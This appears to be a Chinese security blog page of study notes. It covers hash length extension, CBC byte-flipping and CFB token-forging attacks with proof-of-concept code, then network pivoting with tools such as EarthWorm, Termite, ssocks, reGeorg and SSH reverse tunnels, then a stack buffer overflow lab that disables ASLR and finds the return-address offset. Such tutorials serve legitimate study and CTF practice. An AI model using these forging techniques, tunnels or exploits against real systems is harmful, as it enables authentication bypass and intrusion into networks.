分类 Hack 下的文章

Crypto_Attack_Summer_Book

0x00 List Of Paper

1.Hash Length Extension Attacks
2.Cbc Byte Flipping Attack
3.Cfb reply Attack

0x01 Hash Length extension Attacks

hash长度扩展攻击最初场景为一个下载链接如:

http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9

其中参数mac是对参数file的一种验证方式,其生成方式为:

def create_mac(key, fileName)
   return Digest::SHA1.hexdigest(key + fileName)
End

之后下载的验证方式为:

def verify_mac(key, fileName, userMac)
    validMac = create_mac(key, filename)
    if (validMac == userMac) do
        initiateDownload()
    else
        displayError()
    end
End

知道大概场景后就应该想如何利用,那么在这里面,我们利用是想控制file这个参数,能够下载任意文件,并且能过verify_mac这个函数,这时候就需要hash长度扩展攻击。

首先我们以md5为例,md5详细流程为:https://www.ietf.org/rfc/rfc1321.txt

接下来我们看hash长度扩展攻击的真正攻击是在哪一步。

如下测试源码:

import hashlib

Secret = "testhash" ##长度为8
User = input('Please Input User:')
AttackHash = input('Please Input AttachHash:')
if hashlib.md5((Secret+User).encode('utf-8')).hexdigest() == AttackHash:
    print('Good Job')
else:
    print('False')
    print('User Md5 Hash is:'+hashlib.md5((Secret+User).encode('utf-8')).hexdigest())

在开始计算时,会初始化四个寄存器A,B,C,D,初始值分别为:

word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10

根据md5的摘要算法可以知道,其计算内容是以512bit一个块进行计算,第一个块计算结束以后四个寄存器的值就会被更新。如果不存在下一个块,那么取出这四个寄存器的值,将其十六进制连接起来就是最终的md5值。如果还存在下一个块,那么就需要使用更新后的A,B,C,D寄存器内的值进行迭代计算,直到最后一个块,得到最终的md5值。

现在我们输入用户名为admin,hash随便输入以后查看:

C:\Users\Cloud\Desktop\test
λ python test.py
Please Input User:admin
Please Input AttachHash:123
False
User Md5 Hash is:9fd138774d33f88f20184e2eb7d14088

根据源码知道,md5加密的数据为:

变量Secret的值 + 我们输入的用户名

即:

testhashadmin

这个长度为:13*8=104 bit 很明显不足512bit,那么在进行运算时,按照rfc的说明:

3.1 Step 1. Append Padding Bits
The message is "padded" (extended) so that its length (in bits) is
congruent to 448, modulo 512. That is, the message is extended so
that it is just 64 bits shy of being a multiple of 512 bits long.
Padding is always performed, even if the length of the message is
already congruent to 448, modulo 512.

Padding is performed as follows: a single "1" bit is appended to the
message, and then "0" bits are appended so that the length in bits of
the padded message becomes congruent to 448, modulo 512. In all, at
least one bit and at most 512 bits are appended.

3.2 Step 2. Append Length

A 64-bit representation of b (the length of the message before the
padding bits were added) is appended to the result of the previous
step. In the unlikely event that b is greater than 2^64, then only
the low-order 64 bits of b are used. (These bits are appended as two
32-bit words and appended low-order word first in accordance with the
previous conventions.)

At this point the resulting message (after padding with bits and with
b) has a length that is an exact multiple of 512 bits. Equivalently,
this message has a length that is an exact multiple of 16 (32-bit)
words. Let M[0 ... N-1] denote the words of the resulting message,
where N is a multiple of 16.

首先 a single "1" bit is appended to the message 即:

Secret + UserInput + \x80

然后 "0" bits are appended so that the length in bits of the padded message becomes congruent to 448, modulo 512 即:

len(Secret + UserInput + \x80 + N*\x00)%512 = 448

最后 A 64-bit representation of b (the length of the message before the padding bits were added) is appended to the result of the previous step. In the unlikely event that b is greater than 2^64, then only the low-order 64 bits of b are used 即:

Secret + UserInput + \x80 + N*\x00 + \x68\x00\x00\x00\x00\x00\x00\x00

\x68等于104bit,Secret+UserInput一共13byte等于104bit,最后八位就是加密数据的长度。

也就是说,刚刚我们输入admin以后,因为"testahshadmin"的长度小于448bit所以在当前块运算结束后,直接可以得到md5值,最终进行运算的是:

testhashadmin + \x80 + 42*\x00 + \x68\x00\x00\x00\x00\x00\x00\x00

到这里以后,这一块刚好是512Bit,在进行md5计算的时候使用的就是如上数据。那么试想,如果我们在刚好的512bit上,在添加一点数据会怎样呢?

如现在使用数据为:

testhashadmin + \x80 + 42*\x00 + \x68\x00\x00\x00\x00\x00\x00\x00 + ‘test'

这个时候是怎样的呢?

按照rfc所说,md5计算分块时,若最后一块不足512bit且大于448bit则讲此块填充满以后,继续填充至448bit。若大于512bit则按512bit分开后,将不足448bit填充至448bit。

故当使用数据为:

testhashadmin + \x80 + 42*\x00 + \x68\x00\x00\x00\x00\x00\x00\x00 + ‘test'

将前面512Bit先计算后,在使用 前512bit 的数据生成的A,B,C,D内的寄存器的值,对'test'填充后的数据进行迭代。

那么问题就出现在这里:

在输入admin的时候,第一轮迭代生成的hash就是

testhashadmin + \x80 + 42*\x00 + \x68\x00\x00\x00\x00\x00\x00\x00 + ‘test'

前512bit生成的hash。

前文中提到了,在分块以后,下一块进行运算是根据上一块生成的hash更新寄存器中的值,以此来迭代下一块的计算。

在上述情况中,前512bit的计算结果我们是知道的,我们只需要前512bit的计算结果更新至寄存器,对512bit以后的值即'test'进行加密,即可完成hash扩展攻击。

现使用c的md5算法代码,在进行一轮运算后,更改寄存器的值为我们已知的hash值即我们输入admin的hash值(注意大小端),然后再使用该值对test进行迭代,得到hash,并用此hash进行验证。

//md5.c


#include <stdio.h>
#include <openssl/md5.h>

int main(int argc, const char *argv[])
{
  int i;
  unsigned char buffer[MD5_DIGEST_LENGTH];
  MD5_CTX c;

  MD5_Init(&c);
  //首先使用任意的值进行一次运算,使得我们可以修改寄存器内的值
  MD5_Update(&c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);
  //已知输入admin得到的hash为:9fd138774d33f88f20184e2eb7d14088,将其更新至寄存器
  c.A = 0x7738d19f;
  c.B = 0x8ff8334d;
  c.C = 0x2e4e1820;
  c.D = 0x8840d1b7;
  //使用更新的寄存器的值对'test'进行迭代
  MD5_Update(&c, "test", 4);

  MD5_Final(buffer, &c);
  for (i = 0; i < 16; i++) {
    printf("%02x", buffer[i]);
  }
  printf("\n");
  return 0;
}

结果:

root@iZj6c0v0csy0zio57uazcoZ:~/test# gcc md5.c -lssl -lcrypto
root@iZj6c0v0csy0zio57uazcoZ:~/test# ./a.out 
9649c6e50ca34fbbb1b458a5855bb549

使用得到的值进行验证看是否成功:

import hashlib

Secret = "testhash"
User='admin' + '\x80' + 42*'\x00' + '\x68\x00\x00\x00\x00\x00\x00\x00' + 'test'
print('Secret+User length is:'+str(len(Secret+User)))
AttackHash = ‘9649c6e50ca34fbbb1b458a5855bb549’
if hashlib.md5((Secret+User)).hexdigest() == AttackHash:
    print('Good Job')
else:
    print('False')
    print('User Md5 Hash is:'+hashlib.md5((Secret+User)).hexdigest())

结果:

(py2) λ python test.py
Secret+User is:testhashadmin€                                          h       test
Secret+User length is:68
AttackHash is:9649c6e50ca34fbbb1b458a5855bb549
Good Job

0x02 Cbc Byte Flipping Attack

AES共有五种加密模式,这次说的是密码分组链接模式(Cipher Block Chaining (CBC))。

加密流程如下:

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

解密流程如下:

Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

aes是分组密码体制,每一组十六个字节,无论是加密还是解密,都是先将其分组后再代入运算。

由上述两个流程可以知道,在解密时,由上一组密文和下一组密文用key解密后的值异或,得到明文。即

Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1

用图表示为:

图中两红色区域分别对应Ciphertext-N-1和Plaintext-N,并且其值我们是知道的,那么我们可以很轻松的得到

Decrypt(Ciphertext) = Ciphertext-N-1 XOR Plaintext-N

那么如我们由如下字符序列:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

在加密前先对其分组,每一组十六个字节,分组以后为:

Block 1:a:2:{s:4:"name";
Block 2:s:6:"sdsdsd";s:8
Block 3::"greeting";s:20
Block 4::"echo 'Hello sd
Block 5:sdsd!'";}

若我们想更改Block2即 s:6:"sdsdsd";s:8 的6 为 7,那么需要只需要修改第一组秘文中的对应位置的值即可,接下来就说如何实现。

Block2中的6在改组中对应的位置为第二位(下标从0开始)即:

Block2[2]='6'

那么需要修改的也就是第一组密文的第二位,由于第一组密文直接在密文的首部,那么第一组密文的第二位也就是整个密文的第二位,即:

若:

string = 'a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}'
EncryptoData = encrypto(string)

只需要修改 EncryptoData[2]即可达到我们想要的目的:

那么这个值怎么设置才能达到我们想要的目的呢?

假设A = Decrypt(Ciphertext),B = Ciphertext-N-1,C为要修改的明文,那么可以知道的是:

B已知(EncryptoData[2])
C=6 //要修改的明文,已知

因为

A = B XOR C

那么A也知道。

又因为任何数和自己异或为0,也就是:

A xor A = 0

A = B xor C

可以推导出:

A xor B xor C =0

因为任何数和0异或等于他本身。所以假设我们想要得到的值为N,即:

A xor B xor C xor N = N

由于我们可控的只有密文也就是B = Ciphertext-N-1

所以我们只需要把B修改成:

B = B xor C xor N

这样的话,在解密运算时计算的:

A xor B = A xor (B xor C xor N)

也就是

A xor B xor C xor N

从前面推导可以知道这个得到的也就是N了。

那么这样即可让明文修改为我们想要的任意值。

测试代码:

from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES


# Padding for the input string --not
# related to encryption itself.
BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)

    Tested under Python 3 and PyCrypto 2.6.1.

    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')


##
# MAIN
# Just a test.
msg = input('Message...: ')
pwd = 'testtest'

crypto_data = AESCipher(pwd).encrypt(msg).decode('utf8')

print('Ciphertext:', crypto_data)

decrypt_data = AESCipher(pwd).decrypt(crypto_data.encode('utf8'))
print('Decrypto:'+decrypt_data)

输入明文:aaaaaaaaaa0123456789abcdef

λ python aestest.py
Message...: aaaaaaaaaaaaaaaa0123456789abcdef
Ciphertext: vJTgfd2IOzIwN+WOPtCEBFOOhANHmD0+ipkr6SrIaCgrSsHcSKxytACehZGrn1vP
Decrypto:aaaaaaaaaaaaaaaa0123456789abcdef

现更改明文中的2为9,更改代码为:

##
# MAIN
# Just a test.
msg = raw_input('Message...: ')
pwd = 'testtest'

crypto_data = AESCipher(pwd).encrypt(msg)

print(msg)

tmp_data = crypto_data
# print(type(tmp_data))
iv = tmp_data[:16]
tmp_data = tmp_data[16:]
# print(len(tmp_data))
# print(tmp_data[2])
tmp_data_index = chr(ord(tmp_data[2]) ^ ord('2') ^ ord('9'))
tmp_data = tmp_data[:2]+tmp_data_index+tmp_data[3:]
# print(len(tmp_data))
final_crypto_data = b64encode(iv+tmp_data)

decrypt_data = AESCipher(pwd).decrypt(final_crypto_data)
print(decrypt_data)

结果:

(py2) λ python aestest.py
Message...: aaaaaaaaaaaaaaaa0123456789abcdef
aaaaaaaaaaaaaaaa0123456789abcdef
(WC0g杸t@tjs??0193456789abcdef

0x03 CFB reply Attack

密文反馈(CFB,Cipher feedback)模式类似于CBC,可以将块密码变为自同步的流密码;工作过程亦非常相似,CFB的解密过程几乎就是颠倒的CBC的加密过程

从解密原理可以看到,IV和key经过encryption算法后和分组之后的第一组密文异或得到明文。其后每前一组密文和key进行计算后和当前组密文进行异或得到明文。可以知道的是,如果我们从中间截断密文则不会对后面的密文转换为明文有影响。

以前比赛遇到过一个场景。

case 'login':
if ($user) {
    header("HTTP/1.1 302 Found");
    header("Location: ?action=home");
}elseif(isset($_POST['user']) && isset($_POST['pwd'])) {
        if ($_POST['user'] == '') echo 'Username Required';
        elseif ($_POST['pwd'] == '') echo 'Password Required';
        elseif (!login((string)$_POST['user'], (string)$_POST['pwd'])) echo 'Incorrect';
        else {
            $user = $_POST['user'];
            // get_indentify() 获取10位的key,做一个身份签名,防止身份伪造

            $md5 = md5(get_indentify().$user);
            $admin = 0;
            // $token = token_encrypt("$user|$admin|$md5");
            $token = token_encrypt("$user|$admin|$md5");
            setcookie('sign',$md5,time()+5*60,"/",'',false,true);
            setcookie('token',$token,time()+5*60,"/",'',false,true);
            header("HTTP/1.1 302 Found");
            header("Location: ?action=home");
        }
    }
    ?>

登陆以后如此设置cookie以及sign。

if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
    $sign = $_COOKIE['sign'];
    $token = $_COOKIE['token'];
    $arr = explode('|', token_decrypt($token));

    if (count($arr) == 3) {
        if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
            $user = $arr[0];
            $admin = (int)$arr[1];
        }
    }
}

check函数如图,要让$admin=1,但是之前设置时已经将$admin设置为0;

加密函数为:

define('BS', 16);

function getRandChar($length){
    $str = null;
    $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
    for($i=0;$i<$length;$i++){
        $n = rand(0, strlen($strPol) - 1);
        $str.=$strPol[$n];
    }
    return $str;
}

function pad($str) {
    return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}

function unpad($str) {
    return substr($str, 0, -ord(substr($str, -1, 1)));
}

function token_encrypt($str) {
    $key = get_key();
    srand(time() / 300);
    $iv = '1111111111111111';
    return bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, pad($str), MCRYPT_MODE_CFB, $iv));
}

function token_decrypt($str) {
    $key = get_key();
    srand(time() / 300);
    $iv = '1111111111111111';
    return mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, hex2bin($str), MCRYPT_MODE_CFB, $iv);
}

$iv为了方便我改成了固定的值。由此来看,如果想绕过那么有一种办法,就是根据重放攻击,自己构造一个能够过check的字符串。

如我现在注册用户名为123

那么组合以后的东西为:

123|0|df96220fa161767c5cbb95567855c86b

其加密以后的密文为:

932985a513da61d2d3ce092031c2c1886ee8d4dd4ce8f7f2bad652954a19b90176edd6615c29c27f5f77db7fb5188c7a

那么我可以将我们的用户名注册为:

123|1|df96220fa161767c5cbb95567855c86b

那么在登陆以后加密之前组合为:

123|1|df96220fa161767c5cbb95567855c86b|0|7645a9e4a54975e09912819e3887978e

由此得到的密文为:

932985a51266feb88e713debab00d401dfa09207b2e2d4713259c13a2d26e30c7ba05fcf90c48716139a2b38039f226d718311194e9a3b0fa25e3064e2a1ceefa606a550e7567fec4ec6942ce0d3173a

因为在加密时采用的时cfb模式加密,那么明文和密文是一一对应的关系,并且我们从后面删除密文不会影响前面的明文破解。所以我们只需要截取我们需要的明文对应的密文长度即可解密得到我们想要构造的东西。

如之前加密以后密文长度为:

>>> len('932985a513da61d2d3ce092031c2c1886ee8d4dd4ce8f7f2bad652954a19b90176edd6615c29c27f5f77db7fb5188c7a')
96

我们截取构造以后的密文的前96位放进去解密:

>>> '932985a51266feb88e713debab00d401dfa09207b2e2d4713259c13a2d26e30c7ba05fcf90c48716139a2b38039f226d718311194e9a3b0fa25e3064e2a1ceefa606a550e7567fec4ec6942ce0d3173a'[:96]
'932985a51266feb88e713debab00d401dfa09207b2e2d4713259c13a2d26e30c7ba05fcf90c48716139a2b38039f226d'

修改php文件代码为:

$test = '932985a51266feb88e713debab00d401dfa09207b2e2d4713259c13a2d26e30c7ba05fcf90c4';
echo 'decrypto_data is : '.$test."\n";
$decrypt_data = token_decrypt($test);
echo "After decrypto data is :".$decrypt_data

执行得:

λ php c:\Users\Cloud\Desktop\test\encrypt.php
decrypto_data is : 932985a51266feb88e713debab00d401dfa09207b2e2d4713259c13a2d26e30c7ba05fcf90c4
After decrypto data is :123|1|df96220fa161767c5cbb95567855c86b

Proxy Summer Book

0x00 Links

http://rootkiter.com/EarthWorm/download/ew.zip
http://www.freebuf.com/articles/system/12182.html
http://rootkiter.com/Termite/README.txt
http://idoge.cc/index.php/archives/24/
http://staff.washington.edu/corey/fw/ssh-port-forwarding.html
https://github.com/sensepost/reGeorg
https://www.youtube.com/watch?v=w_vGD-96O54

0x01 Earthworm

Download Address:

http://rootkiter.com/EarthWorm/download/ew.zip

Use:

本地开启socks5服务

./ew -s ssocksd -l <port>

在172.17.0.2建立sock5服务,流量出口为172.17.0.4

./ew_for_linux64 -s rcsocks -l 9999 -e 8888     //ip:172.17.0.2
./ew_for_linux64 -s rssocks -d 172.17.0.2 -e 8888  //ip:172.17.0.4

本地端口转发

./ew -s lcx_listen -l  1080   -e 8888

将本地端口流量转发至目标主机目标端口

./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999

将1.1.1.1的8888端口的流量转发至2.2.2.3的9999端口

./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

一个三级级联:

172.17.0.2开启socks5服务

./ew_for_linux64 -s rcsocks -l 9999 -e 8888

172.17.0.3将172.17.0.2的8888端口流量转发至172.17.0.4的7777端口

./ew_for_linux64 -s lcx_slave -d 172.17.0.2 -e 8888 -f 172.17.0.4 -g 7777

172.17.0.4将7777端口流量转发至本地9999端口,并链接socks5服务

./ew_for_linux64 -s lcx_listen -l 7777 -e 9999
./ew_for_linux64 -s rssocks -d 127.0.0.1 -e 9999

0x02 Termite

官方文档:

http://rootkiter.com/Termite/README.txt

Use:

agent为一个个节点,可以自己连接上一个agent,也可以主动连接下一个agent

example:

本地开启agent,端口为8888:

./agent_Linux64 -l 8888

管理端连接本地agent:

./admin_Linux64 -c 127.0.0.1 -p 8888

主动连接上一个agent:

./agent_Linux64 -c 172.17.0.2 -p 8888

主动连接下一个agent:

./agent_Linux -l 8888 /172.17.0.4 开启本地服务,管理端在172.17.0.3主动连接即可
connect 172.17.0.4 8888  //admin端进入172.17.0.3执行该语句即可

执行以后可以在管理端看到网络拓扑:

>>>> show
>>>>>>>>>>>>> Current ID is 2 <<<<<<<<<<<<< 
0L
+-- 1L
|   +-- 2L
|   |   +-- 3L

若想在某结点开启socks5服务,执行如下语句即可:

//172.17.0.2为管理端所在,想开启代理通往3L结点
goto 3
socks 1080

这样我们就会在172.17.0.2中开启一个socks5代理,通往第三个结点即172.17.0.4

0x03 ssocks

文件ssocksd开启本地sock5代理:

ssockd - Server Socks5 v0.0.14
Usage:
    ./ssocksd --port 8080
    ./ssocksd -b 127.0.0.1 --port 8080
    ./ssocksd --address 127.0.0.1 --port 8080
    ./ssocksd -p 8080 -a ssocksd.auth -d
    ./ssocksd -vv

Options:
    --daemon   daemon mode (background)
    --verbose  increase verbose level

    --port {port}  listening port (default 1080)
    --bind {ip} listening on ip (default all)
    --file {file}  see man 5 ssocksd.conf
    --auth {file}  see man 5 ssocksd.auth
    --log {file}   if set connections are log in this file

渗透过程中可以直接执行:

./ssocksd --port <port>

文件ssocks相当于一个代理转发的工具:

如172.17.0.3开启了一个socks5的服务在1080端口,此时在172.17.0.2执行:

./ssocks --socks 172.17.0.3:1080 --listen 9898

这时172.17.0.2在9898端口会开启一个socks5的服务,连接这个代理,流量可以从172.17.0.3出去。

文件nsocks相当于一个具有代理功能的nc:

./nsocks -s 172.17.0.3:1080 172.17.0.1 8000

即可通过172.17.0.3的socks5代理连接172.17.0.1的8000端口,和nc功能相同。

文件rssocks和rcsocks是一个反向代理的工具:

./rcsocks -l 9898 -p 9999 //172.17.0.2执行,本地9898端口开启socks5服务
./rssocks --socks 172.17.0.2:9999  //172.17.0.3执行

连接172.17.0.2的socks5代理后,流量出口为172.17.0.3

0x04 metasploit

msf自带socks4代理模块,不过要自己加路由。

msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SRVHOST  0.0.0.0          yes       The address to listen on
SRVPORT  8888             yes       The port to listen on.


Auxiliary action:

Name   Description
----   -----------
Proxy  


msf auxiliary(socks4a) > route add 172.17.0.0 255.255.255.0 1
[*] Route already exists
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
msf auxiliary(socks4a) > 
[*] Starting the socks4a proxy server

0x05 ssh

-L参数:本地端口转发

ssh -L8888:172.17.0.3:8000 172.17.0.4  //172.17.0.2执行

将172.17.0.2的8888端口转发至172.17.0.3的8000端口

-R参数:远程端口转发

ssh -R 8888:172.17.0.3:8000 172.17.0.2 //172.17.0.4执行

将172.17.0.2的8888端口转发至172.17.0.3的8000端口

-D参数:开启一个socks5的代理

ssh -D root@172.17.0.2

-q:安静模式
-T:不占用shell
-fn:后台运行
-N:不执行远程命令

0x06 reGeorg

一个http转socks5的代理,用法就不多说了,上传文件后本地执行:

 reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u  [-v]

example:

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

0x07 iptables

待补充

Easy_Pwn_Study

0x00 Some Links

https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
https://woo.49.gs/static/drops/binary-6521.html
https://woo.49.gs/static/drops/tips-6597.html

0x01 Tools

ubuntu(14.04 x86_64)
gdb
pwngdb
pwntools

0x02 Classic Stack Based Buffer Overflow

vulnerble code:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

Compilation Commands:

echo 0 > /proc/sys/kernel/randomize_va_space  //disable alsr
gcc -g -fno-stack-protector -z execstack -o -m32 vuln vuln.c

0x03 Start with the basics

在调试之前,有必要先了解一下函数调用过程中栈空间中的变化:

http://blog.csdn.net/wangyezi19930928/article/details/16921927

发生函数调用时,入栈的顺序为:

参数N
参数N-1
参数N-2
.....
参数3
参数2
参数1
函数返回地址
上一层调用函数的EBP/BP
局部变量1
局部变量2
....
局部变量N

由于我们是直接反编译的main函数并且在main函数中没有自己构造的调用函数,所以我们可以使用如下代码:

#include<stdio.h>
void test1();

void main(){
    char b[6]="abcdef";
    test1();
}

void test1(){
    char c[6]="ghijkl";
    printf("%s",c);
}

编译完成之后使用gdb查看其反汇编代码:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804841d <+0>: push   ebp
   0x0804841e <+1>: mov    ebp,esp
   0x08048420 <+3>: and    esp,0xfffffff0
   0x08048423 <+6>: sub    esp,0x20
   0x08048426 <+9>: mov    DWORD PTR [esp+0x1a],0x64636261
   0x0804842e <+17>:   mov    WORD PTR [esp+0x1e],0x6665
   0x08048435 <+24>:   lea    eax,[esp+0x1a]
   0x08048439 <+28>:   mov    DWORD PTR [esp+0x4],eax
   0x0804843d <+32>:   mov    DWORD PTR [esp],0x8048510
   0x08048449 <+44>:   call   0x8048450 <test1>
   0x0804844e <+49>:   leave
   0x0804844f <+50>:   ret
End of assembler dump.

之后我们可以查看test1函数的反汇编代码:

pwndbg> disassemble test1
Dump of assembler code for function test1:
   0x08048450 <+0>: push   ebp
   0x08048451 <+1>: mov    ebp,esp
   0x08048453 <+3>: sub    esp,0x28
   0x08048456 <+6>: mov    DWORD PTR [ebp-0xe],0x6a696867
   0x0804845d <+13>:   mov    WORD PTR [ebp-0xa],0x6c6b
   0x08048463 <+19>:   lea    eax,[ebp-0xe]
   0x08048466 <+22>:   mov    DWORD PTR [esp+0x4],eax
   0x0804846a <+26>:   mov    DWORD PTR [esp],0x8048510
   0x08048471 <+33>:   call   0x80482f0 <printf@plt>
   0x08048476 <+38>:   leave
   0x08048477 <+39>:   ret
End of assembler dump.

分析

在main函数调用即执行call指令前有两个mov操作:

   0x08048439 <+28>:   mov    DWORD PTR [esp+0x4],eax
   0x0804843d <+32>:   mov    DWORD PTR [esp],0x8048510

由上述中汇编代码分析可知,这两块地址中储存值即为变量b中的值。

随后执行call操作。

call指令进行如下操作:

1、将当前eip中储存地址压入栈中。
2、eip中地址变更为新的地址。

直到执行call操作时栈中情形为:

        |   ...     |  高地址
        |- - - - - -|
        |   args    |
        |- - - - - -|
  esp-> | ReturnAdd |
        |- - - - - -|
        |   ...     |  低地址

接着讲执行test1函数中的反汇编代码:

首先

       0x08048450 <+0>: push   ebp

将ebp地址压栈。

栈中变化为:

        |   ...     |  高地址
        |- - - - - -|
        |   args    |
        |- - - - - -|
        | ReturnAdd |
        |- - - - - -|
  esp-> |   ebp     |
        |- - - - - -|
        |   ...     |  低地址

接着

       0x08048451 <+1>: mov    ebp,esp

即栈底指针移动至栈顶:

            |   ...     |  高地址
            |- - - - - -|
            |   args    |
            |- - - - - -|
            | ReturnAdd |
            |- - - - - -|
  ebp,esp-> |   ebp     |
            |- - - - - -|
            |   ...     |  低地址

随后分配变量内存:

       0x08048453 <+3>: sub    esp,0x28

栈中变化为:

            |   ...     |  高地址
            |- - - - - -|
            |   args    |
            |- - - - - -|
            | ReturnAdd |
            |- - - - - -|
       esp->|   ebp     |
            |- - - - - -|
       esp->|   args    |
            |- - - - - -|
            |   ...     |  低地址

接着就是一系列的赋值输出操作。

总结一下函数调用时栈中变化可用下图说明:

在函数调用完成时会执行:

   0x08048476 <+38>:   leave
   0x08048477 <+39>:   ret

即释放当前栈中局部变量,然后将RetrunADD中的值赋值给eip。

0x04 Exploit

我们已经大概知道函数调用时栈中的变化,查看利用代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

反汇编代码如下:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804844d <+0>:  push   ebp
   0x0804844e <+1>:  mov    ebp,esp
   0x08048450 <+3>:  and    esp,0xfffffff0
   0x08048453 <+6>:     sub    esp,0x110
   0x08048459 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804845c <+15>:    add    eax,0x4
   0x0804845f <+18>:    mov    eax,DWORD PTR [eax]
   0x08048461 <+20>:    mov    DWORD PTR [esp+0x4],eax
   0x08048465 <+24>:    lea    eax,[esp+0x10]
   0x08048469 <+28>:    mov    DWORD PTR [esp],eax
   0x0804846c <+31>:    call   0x8048320 <strcpy@plt>
   0x08048471 <+36>:    lea    eax,[esp+0x10]
   0x08048475 <+40>:    mov    DWORD PTR [esp+0x4],eax
   0x08048479 <+44>:    mov    DWORD PTR [esp],0x8048520
   0x08048480 <+51>:    call   0x8048310 <printf@plt>
   0x08048485 <+56>:    mov    eax,0x0
   0x0804848a <+61>:    leave
   0x0804848b <+62>:    ret
End of assembler dump.

利用代码中给buf变量分配了256个字节的内存,随后执行strcpy操作。但是并没有验证strcpy中粘贴字节的长度,同时变量在栈中是从低地址往高地址储存的,所以我们可以输出足够的长度覆盖掉ReturnAdd的值,这样当执行ret指令时,eip中的值即是我们能够控制的,那么我们在eip中储存的内存中写上我们想让其执行的指令,即可执行任意代码。

如图:

故我们可以开始调试,首先我们测试输入300个A:

pwndbg> r `python -c 'print "A"*300'`
Starting program: /root/test/pwn1/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

查看可知RetrunAdd已经被覆盖。

随后我们可以利用gdb中的pattern_create生成一段pattern并输入,随后通过pattern_search查看ReturnAdd在第几位:

pwndbg> pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'

执行后:

*EIP  0x41332541 ('A%3A')

执行pattern_search

pwndbg> pattern_search 'A%3A'
Registers contain pattern buffer:
EBP+0 found at offset: 264
EIP+0 found at offset: 268

口算也可以得出:

256(sizeof(buf))+2*4(alignment space)+ebp(4)=268

知道这样后我们可以输入:

pwndbg> r `python -c 'print "A"*268 + "B"*4'`

得到:

通过图中esp地址查看内存:

pwndbg> x/100wx 0xffffd5e0-50
0xffffd5ae: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5be: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5ce: 0x41414141  0x41414141  0x41414141  0x42424141
0xffffd5de: 0x00004242  0xd6740000  0xd680ffff  0xaccaffff
